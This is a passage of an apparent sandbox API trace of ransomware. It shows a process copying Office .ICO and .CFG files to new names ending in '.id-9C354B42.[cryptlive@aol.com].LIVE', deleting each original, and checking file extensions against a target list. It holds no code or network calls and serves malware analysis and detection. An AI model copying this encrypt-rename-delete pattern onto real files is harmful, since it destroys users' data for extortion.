lpString2=".ADD") returned 1 [0155.025] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0155.025] lstrlenW (lpString="ACTIVITS.ICO") returned 12 [0155.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0155.288] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0155.289] CloseHandle (hObject=0x1fc) returned 1 [0155.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 0x20 [0155.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.298] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.299] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.162] GetLastError () returned 0x0 [0157.162] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0157.164] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0157.165] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.165] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.165] SetEndOfFile (hFile=0x380) returned 1 [0157.165] CloseHandle (hObject=0x380) returned 1 [0157.165] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.165] SetEndOfFile (hFile=0x38c) returned 1 [0157.167] CloseHandle (hObject=0x38c) returned 1 [0157.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 1 [0157.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.169] lstrlenW (lpString=".doc") returned 4 [0157.169] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.169] lstrlenW (lpString=".docx") returned 5 [0157.169] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0157.169] lstrlenW (lpString=".pdf") returned 4 [0157.169] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.169] lstrlenW (lpString=".xls") returned 4 [0157.169] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.169] lstrlenW (lpString=".xlsx") returned 5 [0157.169] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0157.169] lstrlenW (lpString=".ppt") returned 4 [0157.169] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.169] lstrlenW (lpString=".zip") returned 4 [0157.169] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.169] lstrlenW (lpString=".rar") returned 4 [0157.170] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString=".bz2") returned 4 [0157.170] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.170] lstrlenW (lpString=".7z") returned 3 [0157.170] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.170] lstrlenW (lpString=".dbf") returned 4 [0157.170] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.170] lstrlenW (lpString=".1cd") returned 4 [0157.170] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.170] lstrlenW (lpString=".jpg") returned 4 [0157.170] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.170] lstrlenW (lpString=".doc") returned 4 [0157.170] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.170] lstrlenW (lpString=".docx") returned 5 [0157.170] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0157.170] lstrlenW (lpString=".pdf") returned 4 [0157.170] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString=".xls") returned 4 [0157.170] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString=".xlsx") returned 5 [0157.170] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0157.170] lstrlenW (lpString=".ppt") returned 4 [0157.170] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.170] lstrlenW (lpString=".zip") returned 4 [0157.170] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString=".rar") returned 4 [0157.170] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.170] lstrlenW (lpString=".bz2") returned 4 [0157.171] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.171] lstrlenW (lpString=".7z") returned 3 [0157.171] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.171] lstrlenW (lpString=".dbf") returned 4 [0157.171] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.171] lstrlenW (lpString=".1cd") returned 4 [0157.171] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0157.171] lstrlenW (lpString=".jpg") returned 4 [0157.171] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.171] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0157.171] lstrlenW (lpString="NOTEL.ICO") returned 9 [0157.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.172] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1078) returned 1 [0157.172] CloseHandle (hObject=0x38c) returned 1 [0157.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico")) returned 0x20 [0157.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.173] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.173] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.174] GetLastError () returned 0x0 [0157.174] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x436, lpOverlapped=0x0) returned 1 [0157.201] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x440, lpOverlapped=0x0) returned 1 [0157.203] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.203] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0157.204] SetEndOfFile (hFile=0x380) returned 1 [0157.204] CloseHandle (hObject=0x380) returned 1 [0157.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.204] SetEndOfFile (hFile=0x38c) returned 1 [0157.206] CloseHandle (hObject=0x38c) returned 1 [0157.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico")) returned 1 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString=".doc") returned 4 [0157.208] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.208] lstrlenW (lpString=".docx") returned 5 [0157.208] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0157.208] lstrlenW (lpString=".pdf") returned 4 [0157.208] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.208] lstrlenW (lpString=".xls") returned 4 [0157.208] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.208] lstrlenW (lpString=".xlsx") returned 5 [0157.208] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0157.208] lstrlenW (lpString=".ppt") returned 4 [0157.208] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString=".zip") returned 4 [0157.208] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.208] lstrlenW (lpString=".rar") returned 4 [0157.208] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.208] lstrlenW (lpString=".bz2") returned 4 [0157.208] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.208] lstrlenW (lpString=".7z") returned 3 [0157.208] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString=".dbf") returned 4 [0157.208] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString=".1cd") returned 4 [0157.208] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString=".jpg") returned 4 [0157.208] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.208] lstrlenW (lpString=".doc") returned 4 [0157.209] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.209] lstrlenW (lpString=".docx") returned 5 [0157.209] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0157.209] lstrlenW (lpString=".pdf") returned 4 [0157.209] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.209] lstrlenW (lpString=".xls") returned 4 [0157.209] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.209] lstrlenW (lpString=".xlsx") returned 5 [0157.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0157.209] lstrlenW (lpString=".ppt") returned 4 [0157.209] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.209] lstrlenW (lpString=".zip") returned 4 [0157.209] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.209] lstrlenW (lpString=".rar") returned 4 [0157.209] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.209] lstrlenW (lpString=".bz2") returned 4 [0157.209] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.209] lstrlenW (lpString=".7z") returned 3 [0157.209] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.209] lstrlenW (lpString=".dbf") returned 4 [0157.209] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.209] lstrlenW (lpString=".1cd") returned 4 [0157.209] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0157.209] lstrlenW (lpString=".jpg") returned 4 [0157.209] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.209] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0157.209] lstrlenW (lpString="NOTES.ICO") returned 9 [0157.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.210] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0157.210] CloseHandle (hObject=0x38c) returned 1 [0157.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico")) returned 0x20 [0157.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.211] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.211] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.212] GetLastError () returned 0x0 [0157.213] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0157.231] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0157.235] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.235] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0157.235] SetEndOfFile (hFile=0x380) returned 1 [0157.239] CloseHandle (hObject=0x380) returned 1 [0157.239] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.239] SetEndOfFile (hFile=0x38c) returned 1 [0157.241] CloseHandle (hObject=0x38c) returned 1 [0157.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico")) returned 1 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.242] lstrlenW (lpString=".doc") returned 4 [0157.242] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.242] lstrlenW (lpString=".docx") returned 5 [0157.242] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0157.242] lstrlenW (lpString=".pdf") returned 4 [0157.242] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.242] lstrlenW (lpString=".xls") returned 4 [0157.242] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.242] lstrlenW (lpString=".xlsx") returned 5 [0157.242] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0157.242] lstrlenW (lpString=".ppt") returned 4 [0157.243] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.243] lstrlenW (lpString=".zip") returned 4 [0157.243] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.243] lstrlenW (lpString=".rar") returned 4 [0157.243] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.243] lstrlenW (lpString=".bz2") returned 4 [0157.243] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.243] lstrlenW (lpString=".7z") returned 3 [0157.243] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.243] lstrlenW (lpString=".dbf") returned 4 [0157.243] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.243] lstrlenW (lpString=".1cd") returned 4 [0157.243] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.243] lstrlenW (lpString=".jpg") returned 4 [0157.243] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.243] lstrlenW (lpString=".doc") returned 4 [0157.243] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.243] lstrlenW (lpString=".docx") returned 5 [0157.243] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0157.243] lstrlenW (lpString=".pdf") returned 4 [0157.243] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.243] lstrlenW (lpString=".xls") returned 4 [0157.243] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.244] lstrlenW (lpString=".xlsx") returned 5 [0157.244] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0157.244] lstrlenW (lpString=".ppt") returned 4 [0157.244] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.244] lstrlenW (lpString=".zip") returned 4 [0157.244] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.244] lstrlenW (lpString=".rar") returned 4 [0157.244] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.244] lstrlenW (lpString=".bz2") returned 4 [0157.244] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.244] lstrlenW (lpString=".7z") returned 3 [0157.244] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.244] lstrlenW (lpString=".dbf") returned 4 [0157.244] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.244] lstrlenW (lpString=".1cd") returned 4 [0157.244] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0157.244] lstrlenW (lpString=".jpg") returned 4 [0157.244] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.244] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0157.244] lstrlenW (lpString="OMSMMS.CFG") returned 10 [0157.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.245] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=615) returned 1 [0157.245] CloseHandle (hObject=0x38c) returned 1 [0157.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 0x20 [0157.245] GetFileAttributesW 